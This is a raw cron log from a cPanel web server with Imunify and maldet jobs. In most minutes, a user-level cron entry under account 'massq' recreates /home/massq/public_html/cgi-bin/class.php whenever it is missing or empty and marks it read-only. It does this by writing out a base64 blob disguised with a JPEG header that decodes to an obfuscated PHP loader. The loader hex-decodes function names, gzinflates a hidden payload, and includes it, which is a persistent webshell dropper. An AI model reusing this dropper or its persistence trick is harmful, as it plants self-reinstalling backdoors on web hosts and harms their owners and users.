Sep 11 19:20:01 server CROND[12987]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:20:01 server CROND[12989]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:20:01 server CROND[12988]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 19:20:01 server CROND[12992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:20:01 server CROND[12991]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:20:01 server CROND[12990]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:20:01 server CROND[12993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:21:01 server CROND[13841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:21:01 server CROND[13842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:21:01 server CROND[13843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:22:01 server CROND[14249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:22:01 server CROND[14250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:22:01 server CROND[14251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:23:01 server CROND[14665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:23:01 server CROND[14666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:23:01 server CROND[14667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:24:01 server CROND[15040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:24:01 server CROND[15041]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:24:01 server CROND[15042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:25:01 server CROND[15426]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:25:01 server CROND[15427]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:25:01 server CROND[15430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:25:01 server CROND[15428]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:25:01 server CROND[15431]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:25:01 server CROND[15433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:25:01 server CROND[15429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:26:01 server CROND[16249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:26:01 server CROND[16248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:26:01 server CROND[16250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:27:01 server CROND[16746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:27:01 server CROND[16747]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 19:27:01 server CROND[16748]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:27:01 server CROND[16749]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:28:01 server CROND[17137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:28:01 server CROND[17138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:28:01 server CROND[17139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:29:01 server CROND[17520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:29:01 server CROND[17521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:29:01 server CROND[17522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:30:01 server CROND[17921]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 19:30:01 server CROND[17922]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 19:30:01 server CROND[17923]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 19:30:01 server CROND[17930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 19:30:01 server CROND[17929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:30:01 server CROND[17927]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 19:30:01 server CROND[17925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 19:30:01 server CROND[17928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:31:01 server CROND[18845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 19:31:01 server CROND[18846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 19:31:01 server CROND[18847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
